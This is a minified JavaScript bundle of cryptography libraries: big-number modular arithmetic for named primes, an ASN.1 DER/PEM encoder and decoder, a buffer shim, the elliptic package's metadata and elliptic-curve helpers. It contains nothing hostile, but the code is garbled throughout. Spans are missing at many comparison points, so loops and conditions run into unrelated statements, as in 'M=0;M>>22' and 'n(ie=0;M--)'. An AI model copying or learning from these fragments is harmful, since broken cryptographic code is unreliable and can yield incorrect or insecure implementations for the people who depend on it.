0?h.strip():h._strip(),h},N.prototype.split=function(f,h){f.iushrn(this.n,0,h)},N.prototype.imulK=function(f){return f.imul(this.k)};function $(){N.call(this,"k256","ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f")}i($,N),$.prototype.split=function(f,h){for(var g=4194303,y=Math.min(f.length,9),M=0;M>>22,A=k}A>>>=22,f.words[M-10]=A,A===0&&f.length>10?f.length-=10:f.length-=9},$.prototype.imulK=function(f){f.words[f.length]=0,f.words[f.length+1]=0,f.length+=2;for(var h=0,g=0;g>>=26,f.words[g]=M,h=y}return h!==0&&(f.words[f.length++]=h),f},a._prime=function(f){if(R[f])return R[f];var h;if(f==="k256")h=new $;else if(f==="p224")h=new L;else if(f==="p192")h=new K;else if(f==="p25519")h=new j;else throw new Error("Unknown prime "+f);return R[f]=h,h};function H(x){if(typeof x=="string"){var f=a._prime(x);this.m=f.p,this.prime=f}else n(x.gtn(1),"modulus must be greater than 1"),this.m=x,this.prime=null}H.prototype._verify1=function(f){n(f.negative===0,"red works only with positives"),n(f.red,"red works only with red numbers")},H.prototype._verify2=function(f,h){n((f.negative|h.negative)===0,"red works only with positives"),n(f.red&&f.red===h.red,"red works only with red numbers")},H.prototype.imod=function(f){return this.prime?this.prime.ireduce(f)._forceRed(this):f.umod(this.m)._forceRed(this)},H.prototype.neg=function(f){return f.isZero()?f.clone():this.m.sub(f)._forceRed(this)},H.prototype.add=function(f,h){this._verify2(f,h);var g=f.add(h);return g.cmp(this.m)>=0&&g.isub(this.m),g._forceRed(this)},H.prototype.iadd=function(f,h){this._verify2(f,h);var g=f.iadd(h);return g.cmp(this.m)>=0&&g.isub(this.m),g},H.prototype.sub=function(f,h){this._verify2(f,h);var g=f.sub(h);return g.cmpn(0)<0&&g.iadd(this.m),g._forceRed(this)},H.prototype.isub=function(f,h){this._verify2(f,h);var g=f.isub(h);return g.cmpn(0)<0&&g.iadd(this.m),g},H.prototype.shl=function(f,h){return this._verify1(f),this.imod(f.ushln(h))},H.prototype.imul=function(f,h){return this._verify2(f,h),this.imod(f.imul(h))},H.prototype.mul=function(f,h){return this._verify2(f,h),this.imod(f.mul(h))},H.prototype.isqr=function(f){return this.imul(f,f.clone())},H.prototype.sqr=function(f){return this.mul(f,f)},H.prototype.sqrt=function(f){if(f.isZero())return f.clone();var h=this.m.andln(3);if(n(h%2===1),h===3){var g=this.m.add(new a(1)).iushrn(2);return this.pow(f,g)}for(var y=this.m.subn(1),M=0;!y.isZero()&&y.andln(1)===0;)M++,y.iushrn(1);n(!y.isZero());var A=new a(1).toRed(this),k=A.redNeg(),_=this.m.subn(1).iushrn(1),u=this.m.bitLength();for(u=new a(2*u*u).toRed(this);this.pow(u,_).cmp(k)!==0;)u.redIAdd(k);for(var S=this.pow(u,y),V=this.pow(f,y.addn(1).iushrn(1)),W=this.pow(f,y),J=M;W.cmp(A)!==0;){for(var X=W,ie=0;X.cmp(A)!==0;ie++)X=X.redSqr();n(ie=0;M--){for(var S=h.words[M],V=u-1;V>=0;V--){var W=S>>V&1;if(A!==y[0]&&(A=this.sqr(A)),W===0&&k===0){_=0;continue}k<<=1,k|=W,_++,!(_!==g&&(M!==0||V!==0))&&(A=this.mul(A,y[k]),_=0,k=0)}u=26}return A},H.prototype.convertTo=function(f){var h=f.umod(this.m);return h===f?h.clone():h},H.prototype.convertFrom=function(f){var h=f.clone();return h.red=null,h},a.mont=function(f){return new U(f)};function U(x){H.call(this,x),this.shift=this.m.bitLength(),this.shift%26!==0&&(this.shift+=26-this.shift%26),this.r=new a(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}i(U,H),U.prototype.convertTo=function(f){return this.imod(f.ushln(this.shift))},U.prototype.convertFrom=function(f){var h=this.imod(f.mul(this.rinv));return h.red=null,h},U.prototype.imul=function(f,h){if(f.isZero()||h.isZero())return f.words[0]=0,f.length=1,f;var g=f.imul(h),y=g.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),M=g.isub(y).iushrn(this.shift),A=M;return M.cmp(this.m)>=0?A=M.isub(this.m):M.cmpn(0)<0&&(A=M.iadd(this.m)),A._forceRed(this)},U.prototype.mul=function(f,h){if(f.isZero()||h.isZero())return new a(0)._forceRed(this);var g=f.mul(h),y=g.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),M=g.isub(y).iushrn(this.shift),A=M;return M.cmp(this.m)>=0?A=M.isub(this.m):M.cmpn(0)<0&&(A=M.iadd(this.m)),A._forceRed(this)},U.prototype.invm=function(f){var h=this.imod(f._invmp(this.m).mul(this.r2));return h._forceRed(this)}})(e,lc)})(Ha);var Nt=Ha.exports,lf={},Va={},ma={exports:{}};typeof Object.create=="function"?ma.exports=function(t,r){r&&(t.super_=r,t.prototype=Object.create(r.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}))}:ma.exports=function(t,r){if(r){t.super_=r;var n=function(){};n.prototype=r.prototype,t.prototype=new n,t.prototype.constructor=t}};var zt=ma.exports,Jn=fi,Zr=Jn.Buffer,xt={},wt;for(wt in Jn)Jn.hasOwnProperty(wt)&&(wt==="SlowBuffer"||wt==="Buffer"||(xt[wt]=Jn[wt]));var Qr=xt.Buffer={};for(wt in Zr)Zr.hasOwnProperty(wt)&&(wt==="allocUnsafe"||wt==="allocUnsafeSlow"||(Qr[wt]=Zr[wt]));xt.Buffer.prototype=Zr.prototype;(!Qr.from||Qr.from===Uint8Array.from)&&(Qr.from=function(e,t,r){if(typeof e=="number")throw new TypeError('The "value" argument must not be of type number. Received type '+typeof e);if(e&&typeof e.length>"u")throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e);return Zr(e,t,r)});Qr.alloc||(Qr.alloc=function(e,t,r){if(typeof e!="number")throw new TypeError('The "size" argument must be of type number. Received type '+typeof e);if(e<0||e>=2*(1<<30))throw new RangeError('The value "'+e+'" is invalid for option "size"');var n=Zr(e);return!t||t.length===0?n.fill(0):typeof r=="string"?n.fill(t,r):n.fill(t),n});if(!xt.kStringMaxLength)try{xt.kStringMaxLength=process.binding("buffer").kStringMaxLength}catch{}xt.constants||(xt.constants={MAX_LENGTH:xt.kMaxLength},xt.kStringMaxLength&&(xt.constants.MAX_STRING_LENGTH=xt.kStringMaxLength));var Ka=xt,ci={};const u0=zt;function At(e){this._reporterState={obj:null,path:[],options:e||{},errors:[]}}ci.Reporter=At;At.prototype.isError=function(t){return t instanceof an};At.prototype.save=function(){const t=this._reporterState;return{obj:t.obj,pathLen:t.path.length}};At.prototype.restore=function(t){const r=this._reporterState;r.obj=t.obj,r.path=r.path.slice(0,t.pathLen)};At.prototype.enterKey=function(t){return this._reporterState.path.push(t)};At.prototype.exitKey=function(t){const r=this._reporterState;r.path=r.path.slice(0,t-1)};At.prototype.leaveKey=function(t,r,n){const i=this._reporterState;this.exitKey(t),i.obj!==null&&(i.obj[r]=n)};At.prototype.path=function(){return this._reporterState.path.join("/")};At.prototype.enterObject=function(){const t=this._reporterState,r=t.obj;return t.obj={},r};At.prototype.leaveObject=function(t){const r=this._reporterState,n=r.obj;return r.obj=t,n};At.prototype.error=function(t){let r;const n=this._reporterState,i=t instanceof an;if(i?r=t:r=new an(n.path.map(function(a){return"["+JSON.stringify(a)+"]"}).join(""),t.message||t,t.stack),!n.options.partial)throw r;return i||n.errors.push(r),r};At.prototype.wrapResult=function(t){const r=this._reporterState;return r.options.partial?{result:this.isError(t)?null:t,errors:r.errors}:t};function an(e,t){this.path=e,this.rethrow(t)}u0(an,Error);an.prototype.rethrow=function(t){if(this.message=t+" at: "+(this.path||"(shallow)"),Error.captureStackTrace&&Error.captureStackTrace(this,an),!this.stack)try{throw new Error(this.message)}catch(r){this.stack=r.stack}return this};var Hr={};const d0=zt,hi=ci.Reporter,on=Ka.Buffer;function _t(e,t){if(hi.call(this,t),!on.isBuffer(e)){this.error("Input not Buffer");return}this.base=e,this.offset=0,this.length=e.length}d0(_t,hi);Hr.DecoderBuffer=_t;_t.isDecoderBuffer=function(t){return t instanceof _t?!0:typeof t=="object"&&on.isBuffer(t.base)&&t.constructor.name==="DecoderBuffer"&&typeof t.offset=="number"&&typeof t.length=="number"&&typeof t.save=="function"&&typeof t.restore=="function"&&typeof t.isEmpty=="function"&&typeof t.readUInt8=="function"&&typeof t.skip=="function"&&typeof t.raw=="function"};_t.prototype.save=function(){return{offset:this.offset,reporter:hi.prototype.save.call(this)}};_t.prototype.restore=function(t){const r=new _t(this.base);return r.offset=t.offset,r.length=this.offset,this.offset=t.offset,hi.prototype.restore.call(this,t.reporter),r};_t.prototype.isEmpty=function(){return this.offset===this.length};_t.prototype.readUInt8=function(t){return this.offset+1<=this.length?this.base.readUInt8(this.offset++,!0):this.error(t||"DecoderBuffer overrun")};_t.prototype.skip=function(t,r){if(!(this.offset+t<=this.length))return this.error(r||"DecoderBuffer overrun");const n=new _t(this.base);return n._reporterState=this._reporterState,n.offset=this.offset,n.length=this.offset+t,this.offset+=t,n};_t.prototype.raw=function(t){return this.base.slice(t?t.offset:this.offset,this.length)};function sn(e,t){if(Array.isArray(e))this.length=0,this.value=e.map(function(r){return sn.isEncoderBuffer(r)||(r=new sn(r,t)),this.length+=r.length,r},this);else if(typeof e=="number"){if(!(0<=e&&e<=255))return t.error("non-byte EncoderBuffer value");this.value=e,this.length=1}else if(typeof e=="string")this.value=e,this.length=on.byteLength(e);else if(on.isBuffer(e))this.value=e,this.length=e.length;else return t.error("Unsupported type: "+typeof e)}Hr.EncoderBuffer=sn;sn.isEncoderBuffer=function(t){return t instanceof sn?!0:typeof t=="object"&&t.constructor.name==="EncoderBuffer"&&typeof t.length=="number"&&typeof t.join=="function"};sn.prototype.join=function(t,r){return t||(t=on.alloc(this.length)),r||(r=0),this.length===0||(Array.isArray(this.value)?this.value.forEach(function(n){n.join(t,r),r+=n.length}):(typeof this.value=="number"?t[r]=this.value:typeof this.value=="string"?t.write(this.value,r):on.isBuffer(this.value)&&this.value.copy(t,r),r+=this.length)),t};var Ar=uf;function uf(e,t){if(!e)throw new Error(t||"Assertion failed")}uf.equal=function(t,r,n){if(t!=r)throw new Error(n||"Assertion failed: "+t+" != "+r)};const c0=ci.Reporter,h0=Hr.EncoderBuffer,p0=Hr.DecoderBuffer,st=Ar,df=["seq","seqof","set","setof","objid","bool","gentime","utctime","null_","enum","int","objDesc","bitstr","bmpstr","charstr","genstr","graphstr","ia5str","iso646str","numstr","octstr","printstr","t61str","unistr","utf8str","videostr"],b0=["key","obj","use","optional","explicit","implicit","def","choice","any","contains"].concat(df),v0=["_peekTag","_decodeTag","_use","_decodeStr","_decodeObjid","_decodeTime","_decodeNull","_decodeInt","_decodeBool","_decodeList","_encodeComposite","_encodeStr","_encodeObjid","_encodeTime","_encodeNull","_encodeInt","_encodeBool"];function ye(e,t,r){const n={};this._baseState=n,n.name=r,n.enc=e,n.parent=t||null,n.children=null,n.tag=null,n.args=null,n.reverseArgs=null,n.choice=null,n.optional=!1,n.any=!1,n.obj=!1,n.use=null,n.useDecoder=null,n.key=null,n.default=null,n.explicit=null,n.implicit=null,n.contains=null,n.parent||(n.children=[],this._wrap())}var Wa=ye;const m0=["enc","parent","children","tag","args","reverseArgs","choice","optional","any","obj","use","alteredUse","key","default","explicit","implicit","contains"];ye.prototype.clone=function(){const t=this._baseState,r={};m0.forEach(function(i){r[i]=t[i]});const n=new this.constructor(r.parent);return n._baseState=r,n};ye.prototype._wrap=function(){const t=this._baseState;b0.forEach(function(r){this[r]=function(){const i=new this.constructor(this);return t.children.push(i),i[r].apply(i,arguments)}},this)};ye.prototype._init=function(t){const r=this._baseState;st(r.parent===null),t.call(this),r.children=r.children.filter(function(n){return n._baseState.parent===this},this),st.equal(r.children.length,1,"Root node can have only one child")};ye.prototype._useArgs=function(t){const r=this._baseState,n=t.filter(function(i){return i instanceof this.constructor},this);t=t.filter(function(i){return!(i instanceof this.constructor)},this),n.length!==0&&(st(r.children===null),r.children=n,n.forEach(function(i){i._baseState.parent=this},this)),t.length!==0&&(st(r.args===null),r.args=t,r.reverseArgs=t.map(function(i){if(typeof i!="object"||i.constructor!==Object)return i;const a={};return Object.keys(i).forEach(function(o){o==(o|0)&&(o|=0);const s=i[o];a[s]=o}),a}))};v0.forEach(function(e){ye.prototype[e]=function(){const r=this._baseState;throw new Error(e+" not implemented for encoding: "+r.enc)}});df.forEach(function(e){ye.prototype[e]=function(){const r=this._baseState,n=Array.prototype.slice.call(arguments);return st(r.tag===null),r.tag=e,this._useArgs(n),this}});ye.prototype.use=function(t){st(t);const r=this._baseState;return st(r.use===null),r.use=t,this};ye.prototype.optional=function(){const t=this._baseState;return t.optional=!0,this};ye.prototype.def=function(t){const r=this._baseState;return st(r.default===null),r.default=t,r.optional=!0,this};ye.prototype.explicit=function(t){const r=this._baseState;return st(r.explicit===null&&r.implicit===null),r.explicit=t,this};ye.prototype.implicit=function(t){const r=this._baseState;return st(r.explicit===null&&r.implicit===null),r.implicit=t,this};ye.prototype.obj=function(){const t=this._baseState,r=Array.prototype.slice.call(arguments);return t.obj=!0,r.length!==0&&this._useArgs(r),this};ye.prototype.key=function(t){const r=this._baseState;return st(r.key===null),r.key=t,this};ye.prototype.any=function(){const t=this._baseState;return t.any=!0,this};ye.prototype.choice=function(t){const r=this._baseState;return st(r.choice===null),r.choice=t,this._useArgs(Object.keys(t).map(function(n){return t[n]})),this};ye.prototype.contains=function(t){const r=this._baseState;return st(r.use===null),r.contains=t,this};ye.prototype._decode=function(t,r){const n=this._baseState;if(n.parent===null)return t.wrapResult(n.children[0]._decode(t,r));let i=n.default,a=!0,o=null;if(n.key!==null&&(o=t.enterKey(n.key)),n.optional){let c=null;if(n.explicit!==null?c=n.explicit:n.implicit!==null?c=n.implicit:n.tag!==null&&(c=n.tag),c===null&&!n.any){const b=t.save();try{n.choice===null?this._decodeGeneric(n.tag,t,r):this._decodeChoice(t,r),a=!0}catch{a=!1}t.restore(b)}else if(a=this._peekTag(t,c,n.any),t.isError(a))return a}let s;if(n.obj&&a&&(s=t.enterObject()),a){if(n.explicit!==null){const b=this._decodeTag(t,n.explicit);if(t.isError(b))return b;t=b}const c=t.offset;if(n.use===null&&n.choice===null){let b;n.any&&(b=t.save());const p=this._decodeTag(t,n.implicit!==null?n.implicit:n.tag,n.any);if(t.isError(p))return p;n.any?i=t.raw(b):t=p}if(r&&r.track&&n.tag!==null&&r.track(t.path(),c,t.length,"tagged"),r&&r.track&&n.tag!==null&&r.track(t.path(),t.offset,t.length,"content"),n.any||(n.choice===null?i=this._decodeGeneric(n.tag,t,r):i=this._decodeChoice(t,r)),t.isError(i))return i;if(!n.any&&n.choice===null&&n.children!==null&&n.children.forEach(function(p){p._decode(t,r)}),n.contains&&(n.tag==="octstr"||n.tag==="bitstr")){const b=new p0(i);i=this._getUse(n.contains,t._reporterState.obj)._decode(b,r)}}return n.obj&&a&&(i=t.leaveObject(s)),n.key!==null&&(i!==null||a===!0)?t.leaveKey(o,n.key,i):o!==null&&t.exitKey(o),i};ye.prototype._decodeGeneric=function(t,r,n){const i=this._baseState;return t==="seq"||t==="set"?null:t==="seqof"||t==="setof"?this._decodeList(r,t,i.args[0],n):/str$/.test(t)?this._decodeStr(r,t,n):t==="objid"&&i.args?this._decodeObjid(r,i.args[0],i.args[1],n):t==="objid"?this._decodeObjid(r,null,null,n):t==="gentime"||t==="utctime"?this._decodeTime(r,t,n):t==="null_"?this._decodeNull(r,n):t==="bool"?this._decodeBool(r,n):t==="objDesc"?this._decodeStr(r,t,n):t==="int"||t==="enum"?this._decodeInt(r,i.args&&i.args[0],n):i.use!==null?this._getUse(i.use,r._reporterState.obj)._decode(r,n):r.error("unknown tag: "+t)};ye.prototype._getUse=function(t,r){const n=this._baseState;return n.useDecoder=this._use(t,r),st(n.useDecoder._baseState.parent===null),n.useDecoder=n.useDecoder._baseState.children[0],n.implicit!==n.useDecoder._baseState.implicit&&(n.useDecoder=n.useDecoder.clone(),n.useDecoder._baseState.implicit=n.implicit),n.useDecoder};ye.prototype._decodeChoice=function(t,r){const n=this._baseState;let i=null,a=!1;return Object.keys(n.choice).some(function(o){const s=t.save(),c=n.choice[o];try{const b=c._decode(t,r);if(t.isError(b))return!1;i={type:o,value:b},a=!0}catch{return t.restore(s),!1}return!0},this),a?i:t.error("Choice not matched")};ye.prototype._createEncoderBuffer=function(t){return new h0(t,this.reporter)};ye.prototype._encode=function(t,r,n){const i=this._baseState;if(i.default!==null&&i.default===t)return;const a=this._encodeValue(t,r,n);if(a!==void 0&&!this._skipDefault(a,r,n))return a};ye.prototype._encodeValue=function(t,r,n){const i=this._baseState;if(i.parent===null)return i.children[0]._encode(t,r||new c0);let a=null;if(this.reporter=r,i.optional&&t===void 0)if(i.default!==null)t=i.default;else return;let o=null,s=!1;if(i.any)a=this._createEncoderBuffer(t);else if(i.choice)a=this._encodeChoice(t,r);else if(i.contains)o=this._getUse(i.contains,n)._encode(t,r),s=!0;else if(i.children)o=i.children.map(function(c){if(c._baseState.tag==="null_")return c._encode(null,r,t);if(c._baseState.key===null)return r.error("Child should have a key");const b=r.enterKey(c._baseState.key);if(typeof t!="object")return r.error("Child expected, but input is not object");const p=c._encode(t[c._baseState.key],r,t);return r.leaveKey(b),p},this).filter(function(c){return c}),o=this._createEncoderBuffer(o);else if(i.tag==="seqof"||i.tag==="setof"){if(!(i.args&&i.args.length===1))return r.error("Too many args for : "+i.tag);if(!Array.isArray(t))return r.error("seqof/setof, but data is not Array");const c=this.clone();c._baseState.implicit=null,o=this._createEncoderBuffer(t.map(function(b){const p=this._baseState;return this._getUse(p.args[0],t)._encode(b,r)},c))}else i.use!==null?a=this._getUse(i.use,n)._encode(t,r):(o=this._encodePrimitive(i.tag,t),s=!0);if(!i.any&&i.choice===null){const c=i.implicit!==null?i.implicit:i.tag,b=i.implicit===null?"universal":"context";c===null?i.use===null&&r.error("Tag could be omitted only for .use()"):i.use===null&&(a=this._encodeComposite(c,s,b,o))}return i.explicit!==null&&(a=this._encodeComposite(i.explicit,!1,"context",a)),a};ye.prototype._encodeChoice=function(t,r){const n=this._baseState,i=n.choice[t.type];return i||st(!1,t.type+" not found in "+JSON.stringify(Object.keys(n.choice))),i._encode(t.value,r)};ye.prototype._encodePrimitive=function(t,r){const n=this._baseState;if(/str$/.test(t))return this._encodeStr(r,t);if(t==="objid"&&n.args)return this._encodeObjid(r,n.reverseArgs[0],n.args[1]);if(t==="objid")return this._encodeObjid(r,null,null);if(t==="gentime"||t==="utctime")return this._encodeTime(r,t);if(t==="null_")return this._encodeNull();if(t==="int"||t==="enum")return this._encodeInt(r,n.args&&n.reverseArgs[0]);if(t==="bool")return this._encodeBool(r);if(t==="objDesc")return this._encodeStr(r,t);throw new Error("Unsupported tag: "+t)};ye.prototype._isNumstr=function(t){return/^[0-9 ]*$/.test(t)};ye.prototype._isPrintstr=function(t){return/^[A-Za-z0-9 '()+,-./:=?]*$/.test(t)};var pi={};(function(e){function t(r){const n={};return Object.keys(r).forEach(function(i){(i|0)==i&&(i=i|0);const a=r[i];n[a]=i}),n}e.tagClass={0:"universal",1:"application",2:"context",3:"private"},e.tagClassByName=t(e.tagClass),e.tag={0:"end",1:"bool",2:"int",3:"bitstr",4:"octstr",5:"null_",6:"objid",7:"objDesc",8:"external",9:"real",10:"enum",11:"embed",12:"utf8str",13:"relativeOid",16:"seq",17:"set",18:"numstr",19:"printstr",20:"t61str",21:"videostr",22:"ia5str",23:"utctime",24:"gentime",25:"graphstr",26:"iso646str",27:"genstr",28:"unistr",29:"charstr",30:"bmpstr"},e.tagByName=t(e.tag)})(pi);const g0=zt,sr=Ka.Buffer,cf=Wa,ta=pi;function hf(e){this.enc="der",this.name=e.name,this.entity=e,this.tree=new Dt,this.tree._init(e.body)}var pf=hf;hf.prototype.encode=function(t,r){return this.tree._encode(t,r).join()};function Dt(e){cf.call(this,"der",e)}g0(Dt,cf);Dt.prototype._encodeComposite=function(t,r,n,i){const a=y0(t,r,n,this.reporter);if(i.length<128){const c=sr.alloc(2);return c[0]=a,c[1]=i.length,this._createEncoderBuffer([c,i])}let o=1;for(let c=i.length;c>=256;c>>=8)o++;const s=sr.alloc(2+o);s[0]=a,s[1]=128|o;for(let c=1+o,b=i.length;b>0;c--,b>>=8)s[c]=b&255;return this._createEncoderBuffer([s,i])};Dt.prototype._encodeStr=function(t,r){if(r==="bitstr")return this._createEncoderBuffer([t.unused|0,t.data]);if(r==="bmpstr"){const n=sr.alloc(t.length*2);for(let i=0;i=40)return this.reporter.error("Second objid identifier OOB");t.splice(0,2,t[0]*40+t[1])}let i=0;for(let s=0;s=128;c>>=7)i++}const a=sr.alloc(i);let o=a.length-1;for(let s=t.length-1;s>=0;s--){let c=t[s];for(a[o--]=c&127;(c>>=7)>0;)a[o--]=128|c&127}return this._createEncoderBuffer(a)};function gt(e){return e<10?"0"+e:e}Dt.prototype._encodeTime=function(t,r){let n;const i=new Date(t);return r==="gentime"?n=[gt(i.getUTCFullYear()),gt(i.getUTCMonth()+1),gt(i.getUTCDate()),gt(i.getUTCHours()),gt(i.getUTCMinutes()),gt(i.getUTCSeconds()),"Z"].join(""):r==="utctime"?n=[gt(i.getUTCFullYear()%100),gt(i.getUTCMonth()+1),gt(i.getUTCDate()),gt(i.getUTCHours()),gt(i.getUTCMinutes()),gt(i.getUTCSeconds()),"Z"].join(""):this.reporter.error("Encoding "+r+" time is not supported yet"),this._encodeStr(n,"octstr")};Dt.prototype._encodeNull=function(){return this._createEncoderBuffer("")};Dt.prototype._encodeInt=function(t,r){if(typeof t=="string"){if(!r)return this.reporter.error("String int or enum given, but no values map");if(!r.hasOwnProperty(t))return this.reporter.error("Values map doesn't contain: "+JSON.stringify(t));t=r[t]}if(typeof t!="number"&&!sr.isBuffer(t)){const a=t.toArray();!t.sign&&a[0]&128&&a.unshift(0),t=sr.from(a)}if(sr.isBuffer(t)){let a=t.length;t.length===0&&a++;const o=sr.alloc(a);return t.copy(o),t.length===0&&(o[0]=0),this._createEncoderBuffer(o)}if(t<128)return this._createEncoderBuffer(t);if(t<256)return this._createEncoderBuffer([0,t]);let n=1;for(let a=t;a>=256;a>>=8)n++;const i=new Array(n);for(let a=i.length-1;a>=0;a--)i[a]=t&255,t>>=8;return i[0]&128&&i.unshift(0),this._createEncoderBuffer(sr.from(i))};Dt.prototype._encodeBool=function(t){return this._createEncoderBuffer(t?255:0)};Dt.prototype._use=function(t,r){return typeof t=="function"&&(t=t(r)),t._getEncoder("der").tree};Dt.prototype._skipDefault=function(t,r,n){const i=this._baseState;let a;if(i.default===null)return!1;const o=t.join();if(i.defaultBuffer===void 0&&(i.defaultBuffer=this._encodeValue(i.default,r,n).join()),o.length!==i.defaultBuffer.length)return!1;for(a=0;a=31?n.error("Multi-octet tag encoding unsupported"):(t||(i|=32),i|=ta.tagClassByName[r||"universal"]<<6,i)}const x0=zt,Ja=pf;function Ya(e){Ja.call(this,e),this.enc="pem"}x0(Ya,Ja);var w0=Ya;Ya.prototype.encode=function(t,r){const i=Ja.prototype.encode.call(this,t).toString("base64"),a=["-----BEGIN "+r.label+"-----"];for(let o=0;o>6],i=(r&32)===0;if((r&31)===31){let o=r;for(r=0;(o&128)===128;){if(o=e.readUInt8(t),e.isError(o))return o;r<<=7,r|=o&127}}else r&=31;const a=jo.tag[r];return{cls:n,primitive:i,tag:r,tagStr:a}}function gf(e,t,r){let n=e.readUInt8(r);if(e.isError(n))return n;if(!t&&n===128)return null;if(!(n&128))return n;const i=n&127;if(i>4)return e.error("length octect is too long");n=0;for(let a=0;a */(function(e,t){var r=fi,n=r.Buffer;function i(o,s){for(var c in o)s[c]=o[c]}n.from&&n.alloc&&n.allocUnsafe&&n.allocUnsafeSlow?e.exports=r:(i(r,t),t.Buffer=a);function a(o,s,c){return n(o,s,c)}a.prototype=Object.create(n.prototype),i(n,a),a.from=function(o,s,c){if(typeof o=="number")throw new TypeError("Argument must not be a number");return n(o,s,c)},a.alloc=function(o,s,c){if(typeof o!="number")throw new TypeError("Argument must be a number");var b=n(o);return s!==void 0?typeof c=="string"?b.fill(s,c):b.fill(s):b.fill(0),b},a.allocUnsafe=function(o){if(typeof o!="number")throw new TypeError("Argument must be a number");return n(o)},a.allocUnsafeSlow=function(o){if(typeof o!="number")throw new TypeError("Argument must be a number");return r.SlowBuffer(o)}})(ga,ga.exports);var wf=ga.exports,Sf={};const I0="elliptic",O0="6.5.5",B0="EC cryptography",k0="lib/elliptic.js",C0=["lib"],R0={lint:"eslint lib test","lint:fix":"npm run lint -- --fix",unit:"istanbul test _mocha --reporter=spec test/index.js",test:"npm run lint && npm run unit",version:"grunt dist && git add dist/"},$0={type:"git",url:"git@github.com:indutny/elliptic"},T0=["EC","Elliptic","curve","Cryptography"],P0="Fedor Indutny ",N0="MIT",z0={url:"https://github.com/indutny/elliptic/issues"},D0="https://github.com/indutny/elliptic",F0={brfs:"^2.0.2",coveralls:"^3.1.0",eslint:"^7.6.0",grunt:"^1.2.1","grunt-browserify":"^5.3.0","grunt-cli":"^1.3.2","grunt-contrib-connect":"^3.0.0","grunt-contrib-copy":"^1.0.0","grunt-contrib-uglify":"^5.0.0","grunt-mocha-istanbul":"^5.0.2","grunt-saucelabs":"^9.0.1",istanbul:"^0.4.5",mocha:"^8.0.1"},L0={"bn.js":"^4.11.9",brorand:"^1.1.0","hash.js":"^1.0.0","hmac-drbg":"^1.0.1",inherits:"^2.0.4","minimalistic-assert":"^1.0.1","minimalistic-crypto-utils":"^1.0.1"},j0={name:I0,version:O0,description:B0,main:k0,files:C0,scripts:R0,repository:$0,keywords:T0,author:P0,license:N0,bugs:z0,homepage:D0,devDependencies:F0,dependencies:L0};var mt={},eo={};(function(e){var t=e;function r(a,o){if(Array.isArray(a))return a.slice();if(!a)return[];var s=[];if(typeof a!="string"){for(var c=0;c>8,m=b&255;p?s.push(p,m):s.push(m)}return s}t.toArray=r;function n(a){return a.length===1?"0"+a:a}t.zero2=n;function i(a){for(var o="",s=0;s(C>>1)-1?z=(C>>1)-D:z=D,F.isubn(z)):z=0,I[B]=z,F.iushrn(1)}return I}t.getNAF=a;function o(p,m){var E=[[],[]];p=p.clone(),m=m.clone();for(var I=0,B=0,C;p.cmpn(-I)>0||m.cmpn(-B)>0;){var F=p.andln(3)+I&3,z=m.andln(3)+B&3;F===3&&(F=-1),z===3&&(z=-1);var D;F&1?(C=p.andln(7)+I&7,(C===3||C===5)&&z===2?D=-F:D=F):D=0,E[0].push(D);var R;z&1?(C=m.andln(7)+B&7,(C===3||C===5)&&F===2?R=-z:R=z):R=0,E[1].push(R),2*I===D+1&&(I=1-I),2*B===R+1&&(B=1-B),p.iushrn(1),m.iushrn(1)}return E}t.getJSF=o;function s(p,m,E){var I="_"+m;p.prototype[m]=function(){return this[I]!==void 0?this[I]:this[I]=E.call(this)}}t.cachedProperty=s;function c(p){return typeof p=="string"?t.toArray(p,"hex"):p}t.parseBytes=c;function b(p){return new r(p,"hex","le")}t.intFromLE=b})(mt);var to={exports:{}},ra;to.exports=function(t){return ra||(ra=new wr(null)),ra.generate(t)};function wr(e){this.rand=e}to.exports.Rand=wr;wr.prototype.generate=function(t){return this._rand(t)};wr.prototype._rand=function(t){if(this.rand.getBytes)return this.rand.getBytes(t);for(var r=new Uint8Array(t),n=0;n0?this.redN=null:(this._maxwellTrick=!0,this.redN=this.n.toRed(this.red))}var bi=Ir;Ir.prototype.point=function(){throw new Error("Not implemented")};Ir.prototype.validate=function(){throw new Error("Not implemented")};Ir.prototype._fixedNafMul=function(t,r){ti(t.precomputed);var n=t._getDoubles(),i=ei(r,1,this._bitLength),a=(1<=s;b--)c=(c<<1)+i[b];o.push(c)}for(var p=this.jpoint(null,null,null),m=this.jpoint(null,null,null),E=a;E>0;E--){for(s=0;s=0;c--){for(var b=0;c>=0&&o[c]===0;c--)b++;if(c>=0&&b++,s=s.dblp(b),c<0)break;var p=o[c];ti(p!==0),t.type==="affine"?p>0?s=s.mixedAdd(a[p-1>>1]):s=s.mixedAdd(a[-p-1>>1].neg()):p>0?s=s.add(a[p-1>>1]):s=s.add(a[-p-1>>1].neg())}return t.type==="affine"?s.toP():s};Ir.prototype._wnafMulAdd=function(t,r,n,i,a){var o=this._wnafT1,s=this._wnafT2,c=this._wnafT3,b=0,p,m,E;for(p=0;p=1;p-=2){var B=p-1,C=p;if(o[B]!==1||o[C]!==1){c[B]=ei(n[B],o[B],this._bitLength),c[C]=ei(n[C],o[C],this._bitLength),b=Math.max(c[B].length,b),b=Math.max(c[C].length,b);continue}var F=[r[B],null,null,r[C]];r[B].y.cmp(r[C].y)===0?(F[1]=r[B].add(r[C]),F[2]=r[B].toJ().mixedAdd(r[C].neg())):r[B].y.cmp(r[C].y.redNeg())===0?(F[1]=r[B].toJ().mixedAdd(r[C]),F[2]=r[B].add(r[C].neg())):(F[1]=r[B].toJ().mixedAdd(r[C]),F[2]=r[B].toJ().mixedAdd(r[C].neg()));var z=[-3,-1,-5,-7,0,7,5,1,3],D=U0(n[B],n[C]);for(b=Math.max(D[0].length,b),c[B]=new Array(b),c[C]=new Array(b),m=0;m=0;p--){for(var K=0;p>=0;){var 